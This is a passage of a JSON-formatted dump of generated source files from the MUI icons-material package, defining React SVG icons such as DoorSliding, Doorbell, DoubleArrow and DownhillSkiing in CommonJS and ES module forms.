    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10V5H7zm6-8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11h2v2h-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10z\"\n}, \"2\")], 'DoorFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorFrontTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10V5H7zm6-8h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11h2v2h-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-2 0H7V5h10z\"\n}, \"2\")], 'DoorFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSliding.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2h-5.25v16h-1.5V3H6c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-10-6H8v-2h2zm6 0h-2v-2h2z\"\n}), 'DoorSliding');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSliding.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2h-5.25v16h-1.5V3H6c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-10-6H8v-2h2zm6 0h-2v-2h2z\"\n}), 'DoorSliding');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13H8v-2h2zm6-2h-2v2h2zm5 8v2H3v-2h1V5c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2v14zM11 5H6v14h5zm7 0h-5v14h5z\"\n}), 'DoorSlidingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13H8v-2h2zm6-2h-2v2h2zm5 8v2H3v-2h1V5c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2v14zM11 5H6v14h5zm7 0h-5v14h5z\"\n}), 'DoorSlidingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2h-5.25v16h-1.5V3H6c-1.1 0-2 .9-2 2v14c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1M9 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DoorSlidingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2h-5.25v16h-1.5V3H6c-1.1 0-2 .9-2 2v14c-.55 0-1 .45-1 1s.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1M9 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DoorSlidingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3h-7.25v16h-1.5V3H4v16H3v2h18v-2zm-10-6H8v-2h2zm6 0h-2v-2h2z\"\n}), 'DoorSlidingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3h-7.25v16h-1.5V3H4v16H3v2h18v-2zm-10-6H8v-2h2zm6 0h-2v-2h2z\"\n}), 'DoorSlidingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 19h5V5h-5zm1-8h2v2h-2zm-8 8h5V5H6zm2-8h2v2H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-9 0H6V5h5zm7 0h-5V5h5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11h2v2H8zm6 0h2v2h-2z\"\n}, \"2\")], 'DoorSlidingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorSlidingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 19h5V5h-5zm1-8h2v2h-2zm-8 8h5V5H6zm2-8h2v2H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3v2h18v-2zm-9 0H6V5h5zm7 0h-5V5h5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11h2v2H8zm6 0h2v2h-2z\"\n}, \"2\")], 'DoorSlidingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Doorbell.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm0 14.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m4-1.5H8v-1h1v-2.34c0-1.54.82-2.82 2.25-3.16v-.25c0-.41.34-.75.75-.75s.75.34.75.75v.25c1.44.34 2.25 1.62 2.25 3.16V15h1z\"\n}), 'Doorbell');"
  },
  {
    "path": "packages/mui-icons-material/lib/Doorbell.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm0 14.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m4-1.5H8v-1h1v-2.34c0-1.54.82-2.82 2.25-3.16v-.25c0-.41.34-.75.75-.75s.75.34.75.75v.25c1.44.34 2.25 1.62 2.25 3.16V15h1z\"\n}), 'Doorbell');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16.5h2c0 .55-.45 1-1 1s-1-.45-1-1m4-1.5v-2.34c0-1.54-.81-2.82-2.25-3.16v-.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v.25C9.82 9.84 9 11.12 9 12.66V15H8v1h8v-1zm-3-9.5L6 10v9h12v-9zM12 3l8 6v12H4V9z\"\n}), 'DoorbellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16.5h2c0 .55-.45 1-1 1s-1-.45-1-1m4-1.5v-2.34c0-1.54-.81-2.82-2.25-3.16v-.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v.25C9.82 9.84 9 11.12 9 12.66V15H8v1h8v-1zm-3-9.5L6 10v9h12v-9zM12 3l8 6v12H4V9z\"\n}), 'DoorbellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.8 3.9-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0M12 17.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m3.5-1.5h-7c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H9v-2.34c0-1.54.82-2.82 2.25-3.16v-.25c0-.41.34-.75.75-.75s.75.34.75.75v.25c1.44.34 2.25 1.62 2.25 3.16V15h.5c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'DoorbellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.8 3.9-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0M12 17.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m3.5-1.5h-7c-.28 0-.5-.22-.5-.5s.22-.5.5-.5H9v-2.34c0-1.54.82-2.82 2.25-3.16v-.25c0-.41.34-.75.75-.75s.75.34.75.75v.25c1.44.34 2.25 1.62 2.25 3.16V15h.5c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'DoorbellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm0 14.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m4-1.5H8v-1h1v-2.34c0-1.54.82-2.82 2.25-3.16v-1h1.5v1c1.44.34 2.25 1.62 2.25 3.16V15h1z\"\n}), 'DoorbellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm0 14.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m4-1.5H8v-1h1v-2.34c0-1.54.82-2.82 2.25-3.16v-1h1.5v1c1.44.34 2.25 1.62 2.25 3.16V15h1z\"\n}), 'DoorbellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 10v9h12v-9l-6-4.5zm6 7.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m.75-8.25v.25c1.44.34 2.25 1.62 2.25 3.16V15h1v1H8v-1h1v-2.34c0-1.54.82-2.82 2.25-3.16v-.25c0-.41.34-.75.75-.75s.75.34.75.75\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm6 16H6v-9l6-4.5 6 4.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.25 9.25v.25C9.82 9.84 9 11.12 9 12.66V15H8v1h8v-1h-1v-2.34c0-1.54-.81-2.82-2.25-3.16v-.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75M12 17.5c.55 0 1-.45 1-1h-2c0 .55.45 1 1 1\"\n}, \"2\")], 'DoorbellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoorbellTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 10v9h12v-9l-6-4.5zm6 7.5c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1m.75-8.25v.25c1.44.34 2.25 1.62 2.25 3.16V15h1v1H8v-1h1v-2.34c0-1.54.82-2.82 2.25-3.16v-.25c0-.41.34-.75.75-.75s.75.34.75.75\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm6 16H6v-9l6-4.5 6 4.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.25 9.25v.25C9.82 9.84 9 11.12 9 12.66V15H8v1h8v-1h-1v-2.34c0-1.54-.81-2.82-2.25-3.16v-.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75M12 17.5c.55 0 1-.45 1-1h-2c0 .55.45 1 1 1\"\n}, \"2\")], 'DoorbellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrow.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrow');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrow.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrow');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.08 11.42-4.04-5.65c-.34-.48-.89-.77-1.48-.77-1.49 0-2.35 1.68-1.49 2.89L16 12l-2.93 4.11c-.87 1.21 0 2.89 1.49 2.89.59 0 1.15-.29 1.49-.77l4.04-5.65c.24-.35.24-.81-.01-1.16\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.08 11.42 9.05 5.77C8.7 5.29 8.15 5 7.56 5 6.07 5 5.2 6.68 6.07 7.89L9 12l-2.93 4.11C5.2 17.32 6.07 19 7.56 19c.59 0 1.15-.29 1.49-.77l4.04-5.65c.24-.35.24-.81-.01-1.16\"\n}, \"1\")], 'DoubleArrowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.08 11.42-4.04-5.65c-.34-.48-.89-.77-1.48-.77-1.49 0-2.35 1.68-1.49 2.89L16 12l-2.93 4.11c-.87 1.21 0 2.89 1.49 2.89.59 0 1.15-.29 1.49-.77l4.04-5.65c.24-.35.24-.81-.01-1.16\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.08 11.42 9.05 5.77C8.7 5.29 8.15 5 7.56 5 6.07 5 5.2 6.68 6.07 7.89L9 12l-2.93 4.11C5.2 17.32 6.07 19 7.56 19c.59 0 1.15-.29 1.49-.77l4.04-5.65c.24-.35.24-.81-.01-1.16\"\n}, \"1\")], 'DoubleArrowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoubleArrowTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5H11l5 7-5 7h4.5l5-7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 5H4l5 7-5 7h4.5l5-7z\"\n}, \"1\")], 'DoubleArrowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownhillSkiing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2.72 16.4.76.27c.62.21 1.27.33 1.96.33.84 0 1.65-.18 2.38-.5L22 22.13c-1.05.55-2.24.87-3.5.87-.86 0-1.68-.14-2.45-.41L2 17.47l.5-1.41 6.9 2.51 1.72-4.44-3.57-3.73c-.89-.94-.67-2.47.45-3.12l3.48-2.01c1.1-.64 2.52-.1 2.91 1.11l.33 1.08c.44 1.42 1.48 2.57 2.83 3.14l.52-1.6 1.43.46-1.12 3.45c-2.45-.4-4.48-2.07-5.38-4.32l-2.53 1.45 3.03 3.46-2.22 5.76 3.09 1.12 2.1-6.44c.46.18.94.31 1.44.41z\"\n}), 'DownhillSkiing');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownhillSkiing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2.72 16.4.76.27c.62.21 1.27.33 1.96.33.84 0 1.65-.18 2.38-.5L22 22.13c-1.05.55-2.24.87-3.5.87-.86 0-1.68-.14-2.45-.41L2 17.47l.5-1.41 6.9 2.51 1.72-4.44-3.57-3.73c-.89-.94-.67-2.47.45-3.12l3.48-2.01c1.1-.64 2.52-.1 2.91 1.11l.33 1.08c.44 1.42 1.48 2.57 2.83 3.14l.52-1.6 1.43.46-1.12 3.45c-2.45-.4-4.48-2.07-5.38-4.32l-2.53 1.45 3.03 3.46-2.22 5.76 3.09 1.12 2.1-6.44c.46.18.94.31 1.44.41z\"\n}), 'DownhillSkiing');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownhillSkiingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 4.5c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2.72 16.4.76.27c.62.21 1.27.33 1.96.33.84 0 1.65-.18 2.38-.5L22 22.13c-1.05.55-2.24.87-3.5.87-.86 0-1.68-.14-2.45-.41L2 17.47l.5-1.41 6.9 2.51 1.72-4.44-3.57-3.73c-.89-.94-.67-2.47.45-3.12l3.48-2.01c1.1-.64 2.52-.1 2.91 1.11l.33 1.08c.44 1.42 1.48 2.57 2.83 3.14l.52-1.6 1.43.46-1.12 3.45c-2.45-.4-4.48-2.07-5.38-4.32l-2.53 